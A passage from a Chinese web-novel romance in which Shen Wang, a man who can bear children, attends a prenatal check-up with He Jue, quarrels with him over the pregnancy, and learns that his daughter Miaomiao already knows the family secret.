沈望说这些话也挺犹豫的,“不过等时机成熟,肯定会让妙妙跟你父女相认的。” “我只怕” 他思考着自己已经跟鹤爵心意想通了,鹤爵并没有做过对不起他的事情,而他也应该慢慢学会敞开心扉,“我只是有点担心妙妙会接受不了,我能生孩子这件事,你懂的,万一被女儿嫌弃的话,我真的会去” 鹤爵低头吻住他,避免某个家伙嘴里随便吐出死字。 “知道了。”鹤爵又吻了吻他的耳垂、脖颈,“你快进屋子,女儿该饿了。” 沈望问,“要不然你先回京城吧,你的工作那么忙,总是留在我这边,要耽误你的生意” 鹤爵慢慢道,“你在这边,我的工作就不忙。” 沈望这下连耳根都红透了,周身的香味陡然浓烈了起来,冥冥中也绊住了鹤爵的身体,两人禁不住诱惑,稍微又亲了一阵。 沈望小声说,“妙妙明天约好了,要去跟小姐妹们逛街,大概有四五个小时的时间,你来接我去医院一趟。” 鹤爵不禁屏息凝神,“四五个小时,去医院能做什么?” 人.流吗? “先做个简单的产检,我在这方面有熟人,不会节外生枝的。” 哦。 鹤爵的心脏经历过千锤百炼,唯独在一件事情上反复遭受折磨。 正是沈望肚子里这个二宝的去留问题。 他们现在正处于矛盾会被激化的重要节点,无论做哪一个决定,都是需要异常小心谨慎的。 不过。 鹤爵大抵是认定了一件事,即使最终留不住二宝,起码沈望和妙妙,他是绝对不能再放弃的。 鹤爵点头,“行,这次听你安排。” 沈望提着四五袋东西进了门,沈妙妙从院子的花架下钻出来,快步上前帮他提东西。 沈妙妙一边走一边问,“爸爸,我刚才怎么好像听见你在门外说话啊?” 沈望做贼心虚道,“没有啊。” “哦,我手里提着好吃的,被一条野狗给跟上了,我就蹲下捡了一块砖头,假装打它。” 沈妙妙问,“那野狗打跑了吗?” 沈望点头,“打跑了。” 第52章 他不亏欠你 沈望提供的信息很准确, 要不然便是沈妙妙是个恪守时间的守时好孩子。 说早晨9:00出门,一早得收拾利索,时间点一到,立刻快乐地出门了。 鹤爵将车停在屋子后面, 小姑娘肯定是不会没事干往那个方向去的, 不过沈妙妙的身影纤细灵活, 跑过去时仿佛一只灵巧的猫儿。 瞬间吸引住鹤爵的全部注意力,差一点将视线死死地拴在女儿身上。 彻底忽视了四周一切动静。 此时此刻, 他只觉得幸福登顶, 谁想他鹤爵一生荣光, 居然在最辉煌的时候, 发现自己还有一个漂亮可爱的女儿。 这发现仿佛化作金光熠熠的勋章,足以终身佩戴在心脏之上。 然后, 有人小声地敲他的车窗玻璃。 鹤爵才依依难舍地收敛回视线, 看见一个带着墨镜的美女站在一侧, 对他说着开门。 鹤爵若不是听出沈望的声音,恐怕是懒得理睬。 沈望居然穿着裙子!!! 鹤爵过于惊讶,险些遗忘如何打开车门锁,慌了半晌, 才开门道。 “沈望?” 沈望肯定比他还显得不自然, 提着百褶裙的裙尾, 好似见不得人般钻进迈巴赫内。 鹤爵依旧难以相信自己的眼睛,又问一句, “沈望?” 沈望穿着一条朴素的连衣裙,裙子看起来颇有点年头的样子, 在脖颈口扎着合宜的丝巾遮掩住喉结,两条手臂和小腿露在外面, 白得发亮,应该是仔细洗去了香味,否则穿成这样子释放的香味更足。 沈望并不想打扮成这副模样,包括连衣裙也是当年怀了沈妙妙后,夏天出门掩人耳目才买的。 鹤爵同一句话询问两遍,直接给人问毛躁了。 主要还是羞耻难当。 “那那我一个活生生的男人,跑去医院里面做产检,难道不拍被人当成怪物吗!” 鹤爵立刻明白为什么当年的资料袋里,沈望从怀上女儿,到生出女儿的时间段内,会断断续续的有一点空白期。 沈望只要男扮女装去产检的时候,私人侦探也没看出来眼前的美女究竟是谁? 若说沈望是个堂堂正正的男子汉,实际上他的容貌属于雌雄莫辨,装扮成女性毫无违和感。 除了胸部是平的,哪里都很合适,堪称天衣无缝。 鹤爵展臂要搂住他,被沈望一把隔开,拉出一道完全不想谈话的距离感。 鹤爵就没再招惹他,不过一路上眼睛的余光完全离不开沈望,几十遍几百次地窥视。 沈望戴的墨镜是拿沈妙妙的,遮住微挑的眉眼后,面部轮廓变得柔和许多,沈妙妙的侧面正是融合沈望的这部分优点,皮肤也跟了他,白皙到令人嫉妒的程度。 鹤爵不敢说自己跟穿女装的沈望坐在车内,依旧能保持着坐怀不乱的淡定。 男人都是血气方刚的动物,尤其三十几岁的男人,对于任何具有新鲜感的刺激,绝对是无法抵抗的。 鹤爵的喉结不断上下滚动,打量着沈望的雪白脖颈,假如没有那条碍眼的丝巾遮掩,恐怕他早已忍不住要变成吸血鬼了。 鹤爵道,“这次先委屈你,我已经在联系这边的人脉,下一次再做产检的话,可以安排更私密一点的医院。” 又问,“你在妇产科有认识的人?难道是给妙妙接生的医生?” 沈望胡乱嗯了一声。 鹤爵伸手,一把抓住他的手,两只手落在裙摆的褶皱里,不停地揉来推去。 沈望说,“你好好开车,不要捣乱。” 鹤爵笑而不语。 驱车两个小时才到了广城妇幼保健医院,都说京城堵车世界闻名,广城才更是当仁不让。 沈望下车抖了抖发麻的双腿,鹤爵已经更快地帮他摁住险些被风掀起的裙摆。 沈望说,“没事,我里面穿着四角内裤。” 我是担心那个吗? 鹤爵将人搂紧,“我是担心你的味儿被其他人闻见。” 裙子底下全部都是浓郁的香味,即使鹤爵的嗅觉失灵,也能感受到四周路过的人正在热辣地打量着这边。 沈望索性由着对方霸气侧漏的行为,两人走进妇幼保健医院,已经有人早在电梯口迎接他们。 沈望看到徐美珊,极不好意思地低笑,“抱歉,徐姐,我又来麻烦你了。” 徐美珊柔声说,“没关系,你这种情况不能挂号,跟我来就行。” 而后将目光打量向鹤爵。 鹤爵颔首示意。 徐美珊第一次见到沈望身边有如此优质有型的男性,作为医生见惯各种情况,早应该是见惯不怪的。 鹤爵的气场着实太强,实在不容小觑。 沈望才后知后觉说,“徐姐,这是妙妙的爸爸。” 讲完后,自己被自己的话羞耻到了,耳根的红痕一直蔓延到锁骨。 鹤爵则心内汹涌膨胀,万年扑克脸露出由心的笑意,与徐美珊主动握手道,“幸会。” 三人走进医院二楼,简直可以用人满为患来形容,广城的妇幼保健院远近闻名,每天光是在这座医院里降生的婴儿就是几十个之多。 鹤爵谨慎地护着沈望穿过熙熙攘攘的走廊,到处都是大肚子孕妇,还有抱着小孩子的女人,随行的家人们悉心地陪伴在左右。 沈望第一次来这里时还傻乎乎的,以为自己得了什么癌症,本着病急乱投医的心态来做了产检。 那个时候孤零零的,与现在截然不同,可以被鹤爵护在怀里,小心谨慎得像是护着珍贵的宝物。 沈望的心情,俨然又发生了一点全新的变化。 徐美珊道,“没有办法,虽然沈望你昨晚给我打了电话,可是每天排队的人太多了,我可以给你单独做B超,但是没有办法插队。” 沈望抬眼看了一下鹤爵,鹤爵立刻心领神会,“放心,我已经叫赵管家无论如何拖延妙妙回家的时间,你不用担心。” 徐美珊只是听了一耳朵,大致也猜到了什么,不过她什么也没讲,只是给沈望递了一张挂号单。 一个小时后,终于轮到两人的号。 沈望做完尿检、血检,趴在鹤爵怀里睡了一会儿,鹤爵耐心给他打扇子,叫号的时候,沈望站起来就要走,被鹤爵拦住道,“方向错了,徐医生让我们单独去那边。” 两人进了一间单独可以做B超的房间,徐美珊道,“抱歉,我的时间可能不多,咱们尽快。” 沈望知道的,徐姐是妇幼保健院有名的产科专家,慕名挂她号的人每天都有七八十位。 徐美珊上次帮沈望把了脉,当时已经诊断出沈望怀孕,不过她只是稍微做了提示,并没有直接干预。 沈望怀过一次,若是再怀,肯定只能来求助于她。 徐美珊问,“两人最后一次的性.生活是什么时间?” 她肯定不是问沈望,沈望穿着十几年前的那条老款女裙出现,作为一个男人,已经是拿出他最大的勇气。 她问鹤爵。 “因为沈望没有例假,并不好判断胎儿的月份,所以还是问问性.生活的最后日期。” 鹤爵想了想,他和沈望无休无止地做了又做,从遇见沈望起就每天在做,实在是不好判断。 鹤爵大致推想了一个日期。 徐美珊算了下,再结合沈望的尿检,血检,言道,“胎儿应该有5-7周,已经成功着床,发育正常的话会有胎芽、胎心。” 徐美珊叫沈望掀开裙子躺平,鹤爵瞧着他躺平后,肚皮软绵绵地覆盖着一层肉,禁不住用自己的手掌心覆盖在上面,暖了暖沈望的腹部。 徐美珊笑说,“现在还没有胎动,需要再等三个月左右。” 她让鹤爵看B超仪中的模糊影像,专业性很强道,“看到了吗,这里是孕囊,已经有12毫米了,发育非常的完整。” 12毫米? 鹤爵使劲从一团黑白相间的画面中辨认着孩子,尤其说有12毫米时,脑海里直接联想到一颗饱满的小黄豆芽。 随后,徐美珊打开胎心检测仪,让两人听见孩子微弱的心跳。 最开始她并没多讲,两人才没注意,直到那颗小黄豆芽的心跳声,“噗通!噗通!”微小地传出来。 有力的,连贯的,清晰的。 沈望一把握住鹤爵的手,眼泪瞬间冲出眼眶,情绪激动道,“这孩子居然已经有心跳声了!” 沈望之前怀孕的时候,根本什么都不懂。 他从来没有听过妙妙在他肚子里“噗通!噗通!”得跟他大声呐喊。 “爸爸!爸爸!” 那个时候他还不知道,以为是颗瘤子。 这孩子俨然从某种程度上,弥补了两人之间的缺失。 所以鹤爵也显得分外激动。 徐医生给沈望递了一张纸巾,让他不要情绪太过激动,而是说,“每一个胎儿最先发育的就是它的心脏,证明着它和母体开始建立血脉共存的联系,它能感受到你的喜怒,所以孕妇的情绪对胎儿的发育起到积极影响。” 鹤爵直勾勾地盯紧着屏幕,他的手拉住沈望的手,仿佛小黄豆芽的胎心正在父母双方之间,建立出一层更为神奇的纽带。 徐美珊让沈望先坐下喝点水,而将鹤爵单独叫了出门。 鹤爵问,“徐医生,是有什么问题吗?” “不,不要紧张,”徐美珊是沈望的大恩人,更是这些年一直见证着沈望将沈妙妙拉扯大的见证者之一。 她见过不少人,所以一眼就能瞧出鹤爵浑身上下的价值和非凡的气度,均不是普通人所能比拟的。 所以也会产生自然而然的情绪——像这样一个有钱的男人,为什么会让自己的配偶,独自一个人艰辛地抚养着孩子长大? 尤其徐美珊更是拿沈望做弟弟对待,这种怀疑的情绪极快会掺杂一部分的生气进去。 她朝鹤爵问道,“沈望今年已经三十几岁了,之前的身体亏损还没有补全,现在再怀孕的话,可能需要更周全的保胎方案。” “我想问问你,你们两人之间是如何决定的?这个孩子,是准备要,还是不准备要?” 其实她说的已经异常委婉,她都没直接质问鹤爵——你究竟是怎么想的?你让一辈子都辛辛苦苦的可怜男人,用什么样单薄的身体,再给你生第二个孩子?! 不过,徐美珊并没有说这种话的立场。 鹤爵道,“我和沈望现在还在犹豫,其实我们的情况有些复杂,就像你能猜到的一样,我们还没有告诉妙妙,不知道孩子究竟能不能接受。” 徐美珊惊讶于他的坦诚,但也气愤于他的无知。 禁不住和盘托出道,“沈望之前的身体很不好,不知道他有没有跟你讲过。” “沈望是男性生子,所以他当初的打算是,把孩子打掉。” 鹤爵:“” “打掉?” 鹤爵的脑袋一瞬间便如同乌云扫境,雷电轰鸣,一场狂风骤雨在他的颅脑中疯狂肆虐,险些将一向镇定的男人攻击得体无完肤。 “你是说?”难以置信,太难以置信了,鹤爵一瞬间感到头重脚轻,双眸微微晃动不安。 “你的意思是说,沈望曾经想打掉妙妙?” 打掉我的孩子? 望崽?! 徐美珊一瞧果然如此,沈望什么都不讲,让面前这个男人自由快活。 她道,“没错,不过据沈望自己讲,他很快又后悔了,而且坚持要生下妙妙。” “可是,你知道他当时属于什么样的生活水平吗?为了攒生产费用,他挺着肚子一天打四份工,还穿着厚厚的棉袄,借口自己有病。” “最可怕的事,不是你现在所看到的。” “沈望为了能用最少的钱生孩子,找的是一家黑诊所。” 鹤爵已经彻底站不住脚,用手臂微微扶住墙边,借以保持身体的平衡。 然而无用,他的世界正在崩塌。 不知道,不知道。 他不知道沈望逃到广城一直在过什么样辛苦的日子。 看了资料袋里的照片,他才知道。 不知道!根本不知道! 他完全不知道沈望怀孕后的艰难生活,完全属于地狱级别的苦难。 徐美珊像是要替沈望出掉这口恶气,言道,“沈望和沈妙妙差点死在黑诊所里,你差点成为这个世界上,一无所有的人!” “这个你知道吗!” 不知道 鹤爵被连续地问题不断打击,高大的身躯已然无法保持站立姿势,而是往后退了又退,直到跌坐进长椅间,半天缓不过来神。 徐美珊的工作紧张,没时间继续留下,她最后奉劝鹤爵一句。 “你首先要自己拿稳主意,保证沈望能在健康积极的环境下生产,即使他不愿意再生你的孩子,也是绝对没有任何亏欠你的地方。” “他是给自己生,从来不是给你。” 第53章 造孽啊 两人一同开车离开妇幼保健院, 鹤爵相对得要沉默一些,沈望虽说同样若有所思,不过却没有对方显得低气压。 尤其,鹤爵的眼眶比自己还夸张。 沈望的眼尾仅是微微扫了一抹薄红, 而鹤爵的眼眸邃深至极, 布满血丝, 浑身散发出一种难以描述的悲怆色彩。 如此怪异的情绪极难从某鹤的脸孔中出现,以至于沈望完全忽略了自己的部分, 转而偷窥起鹤爵的反应。 一路无言到了家门口, 沈望心说这人还真喜怒无常, 才三十岁就如此琢磨不透, 若是到了六七十岁,还不得是粪坑边的石头——又臭又硬煮熟的鸭子——肉烂嘴不烂。 叫什么鹤爵, 叫鹤倔好啦! 所以沈望也没给他好脸, 下车连再见也没讲, 提着裙摆往屋子里走。 鹤爵居然跟着一起进了院子。 沈望没好气道,“妙妙要回家了,你快点走。” 鹤爵一把从背后抱住他,犀利的下颌线抵住沈望的肩窝, 这才从徐美珊的话中挣脱出一丝活气。 “我差点失去你, 沈先生。” 沈望被他叫沈先生, 无端有点滑稽感,不停试着掰开鹤爵搂住腹部的手指, 避免他打扰肚子里的小豆芽睡觉,挺不客气地说, “你还没有真正地拥有过我呢,鹤先生。” 鹤爵想想也是, 情绪愈发低迷至低谷,这是他辉煌一生中所不曾拥有的挫败感,混杂着无力。 还有极大地庆幸。 他说,“沈望,我亏欠你太多,也亏欠妙妙太多,我思考了很久,越挣扎越陷得深。” “我们应该一家三口团团圆圆地在一起,让我更好地爱你,爱妙妙,我们三个人把未来的日子过好,你觉得呢?” 他话里话外讲得含糊,沈望居然听明白了。 鹤爵抱住他的腹部,他的肚子软软的,一鼓一鼓的,连带着胸腔一起起伏,骤而剧烈得颤动。 鹤爵立刻警觉,将沈望转过身来,所见的景象已经叫他心道不妙。 沈望并没哭,一滴眼泪也没有,而是用一种恨意十足的眼神打量他。 鹤爵连忙抱住他,轻声求道,“我不是要放弃你肚子里的二宝,我是再舍不得你受苦了。生孩子并不是一件轻松的事情,它会吸干你身上的全部营养,而且你之前怀妙妙的时候身子落下病,我真的超级害怕这次的怀孕,会让你的身体负担加重。” “沈望,人非草木孰能无情,我对你肚子里的孩子是充满期待的,可是我们之间还有一个最重要的宝贝。” “我想像你一样,把所有的爱全部给予我们的女儿,我现在满心满眼只想把自己掏空,全部用来疼爱你们两个最重要的人。” “望崽!” 鹤爵抱住沈望的嘴唇亲了又亲。 “我们一家三口会过得更好,我不能再忍受你因为怀孕而被逐渐拖垮的身体,也不希望你被生育这件事紧紧捆绑,你应该也有自己很想完成的事情,我会陪你一件件去实现,让你不再被拘束在大广福菜市场里。” “你前十几年所遭受的苦楚,应该结束了。” 鹤爵是发自真心地疼惜沈望,所以鱼和熊掌不可兼得情况下,肯定是要选择沈望的。 恐怕连妙妙也得排在第二位。 沈望的脸一阵白一阵红,倒是没什么特别激动的反应,而是推开鹤爵,指着他说,“你稍微等我一下,我找个东西。” 转身进屋拿了一把扫地笤帚,照着鹤爵不论章法,一顿狂打,边打边气道。 “鹤爵你太狠心了!” “你们资本家的心完全就是黑的!又狠又歹毒!” “我肚子里的二宝已经有心跳了,你居然让我打掉它,你根本不是普通的人类,你是从石头山上掉下来的石头人!你的心太硬了!” “你没有感情,你没有心,你活活的大畜生!” 鹤爵不能反抗他的攻击,任由扫帚满头满身的招呼,疼肯定是非常疼的,沈望杀鱼杀了十几年,臂力狠劲齐全极了。 鹤爵的胸口跟后背着实挨了十几笤帚,打得皮肉火辣辣的疼,宛若拿皮鞭抽他似的。 鹤爵不躲不闪,对沈望道,“你不要闪到腰,当心身子!” 沈望更生气了,“反正你也不要我肚子里的孩子,说什么好听的话,完全是出于你的自私自利,你们这些坏资本!” 大概是话赶话说急眼了,沈望直接抛出杀手锏道,“你知道妙妙为什么最讨厌你吗?!” “因为在这本书里,就是你找来的私人保镖欺负她,眼睁睁看着惨死在难产中!你这个坏东西,还敢在我面前出馊主意!” 沈望连骂代打,直接将鹤爵给轰出家门口,狠狠甩上铁门,完全不听他的任何解释。 鹤爵这辈子还没如此狼狈过,真的,从来只有他打人的份儿,能被攻击到灰头土脸,浑身是痛的地步,只有发飙的沈小望可以轻松办到。 妙妙晚上兴高采烈地回家,总感觉家里的氛围感十分凝重,爸爸居然没有笑脸迎她,而是闷不吭声坐在餐桌前,桌面摆着点的外卖披萨。 沈妙妙吐吐舌头,一把搂住沈望的肩膀道歉说,“亲爱的爸爸对不起,说好只在外面玩四个小时的,结果回来晚了啦~” 用手指拨开披萨盒子,喜滋滋地讨爸爸欢欣说,“居然是我最喜欢的口味,这个世界上怎么会有这样懂我的人呢?” 沈望沉郁的情绪稍微减轻一半,转身拉住女儿的手,轻拍了一下,“小馋猫快去洗手,我把披萨再拿去热一下。” 沈望顺便还洗了女儿最爱吃的葡萄,肚子里的二宝虽然比沈妙妙还娇气,看见什么不爱吃的东西立刻叫沈望产生恶心感。 不过两人爱吃的水果倒是一样。 都是圆溜溜的葡萄,所以沈妙妙的眼睛才又黑又亮。 沈望吃了不少葡萄,水滋滋的美味极了,不过他也不敢多吃,据说孕妇吃太多葡萄血糖会增高。 沈望给女儿剥了半盘子的葡萄皮,这才想起来问沈妙妙怎么今天玩得这样高兴,连回家时间都忘记了? 沈妙妙说,“我今天超级幸运。” 原来她跟高中关系很好的几个小姐妹约好,暑假回来后要一起玩的。 所以几个小丫头按照约定,先去了商场逛街,又去了游乐园拍照打卡。 结果遇见整座游乐园电脑系统抽奖,获奖游客不但能免费玩全套,还可以免排队,堪比优速通。 五十几个项目,说实话,沈妙妙上大学之前根本没玩过。 沈望肯定是带她来过的,可是沈妙妙不想浪费爸爸辛苦挣得钱,借口不喜欢游乐园。 从小都是。 游乐园结束之后,还有某著名歌星的私人演唱会,全场只有五十位观众。 小姐妹们都超级迷恋这位影视歌三栖明星,整场演唱会不但靠近聆听偶像的绝美歌喉,更是能与其亲密互动。 沈望立刻就明白为了拖延女儿回家的时间,鹤某人究竟做了什么小手段。 所以淡淡问,“半天都讲了你的小姐妹,难道妙妙公主不喜欢这位男明星吗?” 沈妙妙吃着葡萄摇头,“不喜欢啊。” 沈望倒是挺好奇,“怎么会呢?你们这个年纪的小姑娘最喜欢追星了吧?” 沈妙妙道,“可我是个例外啊。” “有的人喜欢追星,我当然不能讲人家不好,单纯从我的角度来分析,我觉得追星太容易消耗感情,明星都是包装起来的人设,他现实生活中又不是这个样子,我不追求虚假的东西。” 而且。 沈妙妙给沈望嘴里喂了一颗最甜的葡萄,“根本没有一个明星能比我爸爸还好看,看他们还不如看你呢!” 沈望噗嗤笑了,被鹤某人搞坏的心情立刻得到修补,而且滴水不露。 沈妙妙差不多十一点就寝,沈望给她的屋子里早熏好蚊香。 沈妙妙说,“爸爸的香味很神奇,感觉蚊子从来都不叮我,全部绕开走。” 沈望拍拍她的腰侧,替女儿拉好蚊帐,安静地退了出门。 今夜注定是难眠的一夜。 沈望坐在花架下看了半小时的星辰,肚子里的宝宝禁不住困了,他也趁着浑身困乏,进自己的卧室去睡觉。 谁知院子墙头忽然冒出一具人影,应该是怕自己突然出现,会令沈望心生恐惧,所以小声喊着,“沈望!” 沈望怎么可能听不见人叫他的名字,下意识从屋子里提出扫帚,走到围墙附近能看见对方的距离,指着某鹤道,“你是不是今天没被打爽?” 鹤爵一夜给他发了不少信息,完全石沉大海,他现在心如刀割,肝如沥油,坐立不安,很难不顶着风险,出现在这里。 还用如此狼狈又可笑的方式。 沈望原本是打算再给他一顿暴击的,不过他隔着庭院内昏暗的灯光,发现鹤爵的面颊侧带着一道青紫色的痕迹。 打人不打脸,若是真的打了,一定是因为乱中手误。 尤其鹤爵的右臂被绷带吊着,应该刚从医院回来。 沈望这才回忆起自己的打狗棍法敲过不少欺负自己的坏人。 不过鹤爵并不无辜,他才是最大的坏人头子。 沈望将扫帚丢开一边,冷幽幽望着站墙头的鹤爵,“有屁快放,我要睡觉去了。” 鹤爵提起能动的左手,摁住突突发疼的太阳穴,强行抑制内心的糟乱与痛苦。 “真的是我间接害死咱们的女儿吗?!” “沈望,这件事绝对不能有任何差错,假如真的是我的话,我立刻把命赔给妙妙!” 沈望才不稀罕他的烂命,言道,“所以我才故意让你来破坏妙妙跟萧诼之间的事情,即使你有罪,去找萧诼发泄吧,我这边已经报复完了,没什么可跟你多说的!” 鹤爵依旧不死心地解释,“这世界究竟是一本什么垃圾小说?我就是天下最混账的混账,怎么可能会去伤害自己的亲生骨肉?” “难道,我就不怕遭报应吗?!” 你有报应啊,时候未到而已。 沈望说,“我到京城那夜做的梦,你找来的保镖在破烂的屋子里为难妙妙,妙妙都快生了,你的那些走狗还不依不饶,说鹤先生不喜欢男主跟鹤若妍在一起,要妙妙供出男主的藏身之处。” 不说还罢。 沈望的眼泪彻底兜不住了,指着鹤爵流泪道,“你害完我的女儿,还想来害我肚子里的,鹤爵,这个世界上绝对没有比你更加残忍的存在了。” “我跟你,想想还是算了吧,我们无缘无分,根本无须强求。” “等等!”鹤爵显得焦急万分,“你先不要擅自下定义,你说你做梦时发现我们的世界是一本狗血小说。” “然后呢?你梦见的剧情彻底没有发生,你怎么能用小说剧情,来判定我有死罪呢?我发誓不会这样对我们的孩子!!” 等等! 鹤爵道,“你说什么?鹤先生?” “整个京城的人,人人尊称我爵爷,没有人敢乱叫我鹤先生的。” 说着。 鹤爵掏出手机,给鹤若妍的父亲打了一通电话,语气冰冷到仿佛没有人类情感,“鹤三少,以后你走你的阳关道,我们两家再无来往。” 沈望:“” “!!!!” 鹤爵说,“我跟我二哥、大哥全部都断绝亲戚关系,以后老死不相往来。” 沈望:“” “你先下来,可能这剧情有BUG。” 鹤爵才不管。 两人正纠结着究竟是要跟哪个鹤家亲戚断绝关系。 沈妙妙迷迷糊糊往院子喊道,“爸爸,你大半夜的不睡觉,在院子里说什么呢?”!!!! 沈望用手一指鹤爵,叫他快速消失,自己则假装打着哈欠,往屋子里去稳住女儿道,“没什么,你睡糊涂了,爸爸是睡不着,在院子里瞎转悠呢。” 然后,隐约听见鹤爵踩着的高梯子似乎没撑住劲儿,连人带梯子翻倒在地,还有人类痛苦的闷哼声。 第54章 两个老父亲 第二天一早, 家里的破铁门就被人敲个没完没了。 沈望勤奋了十几年,每天准时起床去码头进货的人,因为怀了孕身子变懒了,所以也就没正常出门。 不过他若是不起床的话, 女儿就得去开门。 沈望踏着拖鞋走出卧室, 沈妙妙也同时带着耳机出现。 沈望惊奇地问, “你怎么没睡懒觉?” 沈妙妙将耳机摘下来,“我正在备考11月份的BEC中级, 每天早晨做点听力练习。” “BEC是啥?”沈望完全听不懂这高级词汇, 不过一听就是很牛逼的感觉。 我女儿真是太优秀了。 沈妙妙解释, “爸爸, BEC就是Business English Certificate,是商务英语的缩写。” 哦。 沈望立刻来了兴趣, “难道我的宝贝将来想做生意?” 沈妙妙笑了, “多项技能多条路嘛, 我也想尽力找到好工作,为你分担一部分。” “感谢老天给我这样优秀懂事的乖女儿,我现在就去给你弄早点,咱们今天吃得丰富一点。”沈望笑着打量掌上明珠。 沈妙妙说, “爸爸, 门口敲门的人手快断掉了吧?” 哦哦。 沈望又不开心起来, 真是讨厌,哪个讨人厌的家伙大清早跑来打扰他的宝贝女儿学习。 嘟嘟哝哝去开门。 结果大铁门外站得居然是右手臂吊起绷带的鹤爵。 鹤爵今天穿得异常隆重, 高级定制的深蓝色西装紧紧包裹颀长的身姿,遍体洋溢出矜贵奢华的气质, 尤其头发也用摩丝抓得极其有型,看起来完全不像是来敲他家破门的, 而是足以登上T台的模特。 沈望睡得头发都蓬乱了,人也懒洋洋的,抬头凝视着金装玉裹的优质男人,言道,“先生,你恐怕走错门了?” 鹤爵则照着他的脸颊。猝不及防地亲了一口,“别想跟我假装不熟。” 而后大咧咧往屋子里走。 沈望吓得三魂丢了六魄,尾随鹤爵低声警告,“你在做什么?你往哪里走?!快出去呀!” 鹤爵已经快步走进屋,毫无避讳,与沈妙妙笔直地对视三秒。 沈妙妙:“鹤先生?” 鹤爵道,“沈小姐不知道有没有空,我想跟你商议一件重要的事情。” 沈妙妙瞧他意气风发,不像是捉弄人的样子,禁不住问,“我还是有自知之明的,怎么敢让鹤先生来跟我谈什么商量。” 沈望原本扯住鹤爵的西装后面,但见沈妙妙的目光飘来,双手举起道,“我不认识他!” 鹤爵瞬间被气笑。 沈望又叉腰盯住俩人,“你们俩什么时候背着我互相认识的?” “鹤爵!” 是。 鹤爵当着沈妙妙探究的视线,一把搂住沈望的腰,亲昵又不失风度道,“我想请沈小姐同意,我和你爸爸的婚事。” 沈望用拖鞋狠狠地碰触鹤爵的真皮皮鞋,用嘴角挤出满满地抱怨,“你在讲什么蠢话,谁要跟你结婚呀,不要再添乱了,快点走吧。” 沈妙妙则显得分外平静,这一点上她是活生生地继承了鹤爵的优秀基因,敌不动我不动,敌动我也不动。 冷冰冰问,“据我所知,鹤先生是京城鼎鼎有名的大富大贵人家,平常的追求者早已经把鹤家的门槛踏破了吧?” 沈妙妙看了眼沈望,沈望感觉她这犀利的眼神分外眼熟。 不对,这类眼神的正主此刻远在天边近在眼前。 沈妙妙一把拉住沈望的手臂,给人拉到自己的身后,气势逼人道,“我讲这话并非在说我爸爸不如那些人,而是我的爸爸实在太珍贵了,尤其是对我来讲。” “所以鹤先生若是想结婚的话,随便去那些预选人里大抓一把,我的爸爸没有参加豪门婚姻游戏的爱好,这边恕不奉陪了。” 鹤爵肯定不会轻易放弃,他昨晚彻夜思考,分明沈望就是他的爱人,为什么要躲着沈妙妙搞地下活动? 他们又不是在偷情! 况且,沈妙妙也是他的亲骨肉,不应该让女儿像对待陌生人一样对他。 他也希望女儿祝福他俩。 鹤爵说,“妙妙,你误会了,我这辈子只爱过一个人,那就是你的父亲沈望,我来询问你的意见,是因为我也必须要尊重你,你是沈望的宝贝。” 也是我的。 沈妙妙轻笑一声,朝沈望问道,“爸爸,这个人好奇怪啊,他居然说他爱你,是从什么时候开始的呢?” “是刚刚?昨天?还是很久以前?” “假如说是很久以前,那这些年他在京城吃香喝辣,八面威风的,可曾有想起过你一星半点?可曾派人找过你的踪迹?有没有在这十几年里主动问过你,究竟是怎么过日子的?又有没有关心你,是怎么艰难求生存的?” 本来不打算激动的,小姑娘的城府终究是有点稚嫩,忍不住吸了吸鼻子,“我不同意你再来追求我爸爸,这就是我的决定。” 沈望最见不得女儿难过,即使沈妙妙比一般女孩子更加坚强,只要情绪中有一丁点儿的波动,便会成百上千倍地传递向沈望。 沈望承认自己有时候是挺没有什么出息的,眼眶极快地泛了红,肚子也微微有点坠痛感,可能肚子里的小豆芽也不怎么开心。 鹤爵不能用白寒书的罪名,将这些问责全部抹平,他自己也有做得很不对的地方。 “是的,妙妙你讲的很好,这些确实是我最大的错处,我承认。” “但是我的前半生已经积累了很多的错误,如果我不能用余下的半生将这些错误一一改正,那我也不配站在你的面前,讲这些可笑的誓言。” 鹤爵拉住沈望的手,眸中尽显真挚的深情,“我绝对不是想补偿你爸爸,我是想认认真真地跟他共度余生。” 感觉女儿并不信任自己,鹤爵准备再表明一下态度。 不过,等等。 鹤爵仿佛从沈妙妙的话外音中,抓到一丝隐藏的小尾巴。 “不对,为什么你能准确的说出在十几年前,我辜负了你的爸爸?” 鹤爵凝视沈妙妙的目光犀利至极,“你已经不再是小孩子了,张嘴说话肯定不是胡说,你” 沈望也二丈和尚摸不准头脑,转而看向沈妙妙。 沈妙妙的小脸瞬间变得通红,双腮微微气鼓,不一阵又转变为青白,失色得厉害,也极不正常。 好吧!! 沈妙妙突然大叫一声,“好吧,我也不伪装了!” 她用纤纤细指指向鹤爵,“我早知道你是谁,鹤先生!” 这句话乍听没什么毛病,实际上仔细回味一番,隐藏的信息量达到惊人的程度。 沈望作为三个人中反应最慢的,也在下一秒明白了沈妙妙究竟在说什么? “这怎么可能呢!”沈望抱住肚子,难以置信地摇摇头,他知道女儿比平常孩子要聪明许多,可他似乎遗忘,女人敏锐的第六感也同样是一种锋利的锐器。 “妙妙,妙妙你!”沈望拉住沈妙妙的手,“你怎么可能知道” 我是个会生孩子的怪物?!! “我怎么可能不知道呢?”沈妙妙反手抓住爸爸冰凉的指尖,“你肚子上的疤痕,我的出生证明,你梦里哭着喊姓鹤的名字,而且你也从没有重组家庭的想法,更不喜欢女性!” 能够翻找出来的细节太多太多! 沈妙妙道,“爸爸,我和你一直都生活在一起,我才是这个世界上,最亲近你,最懂你的人啊!” “我是从爸爸的肚子里生出来的,我小时候说过,爸爸的肚子里有好吃的、好玩的,我从小就知道这一切!” 瞒不住,瞒不住,根本瞒不住! 沈望的内心先是一阵强烈的窒息,生怕秘密暴露的那一刻,在女儿的心底便宣判了他的死刑! 爸爸是怪物,爸爸是一个能怀孕,能生孩子的怪物! 这过度的忧惧仿佛捆绑的绳索,狠狠地勒住他的咽喉,使得沈望在逐渐窒息中眼冒金星、天旋地转。 他真的不能失去沈妙妙,即使如今失去鹤爵,也没有什么感觉,但是在女儿的心中,他必须是最值得依靠,顶天立地的存在。 在女儿说出隐藏多年的秘密时,沈望迎来的并非是宣判,而是彻头彻尾地解脱。 这突如其来的疏松感、轻快感、解脱感迎面扑上心头,使得他的情绪经历大落大起,也等同于给人致命一击。 沈望悲极生喜,眼前的金光更是蒙起一层浑浊的烟霭,等他想紧抓女儿的小手时,人已经彻底虚脱地晕了过去。 不知过了多久。 沈望压抑在心底十几年的磐石,才一点一块地移开,令他能呼吸到新鲜的空气,黑沉沉的眼帘中也慢慢渗透进光明。 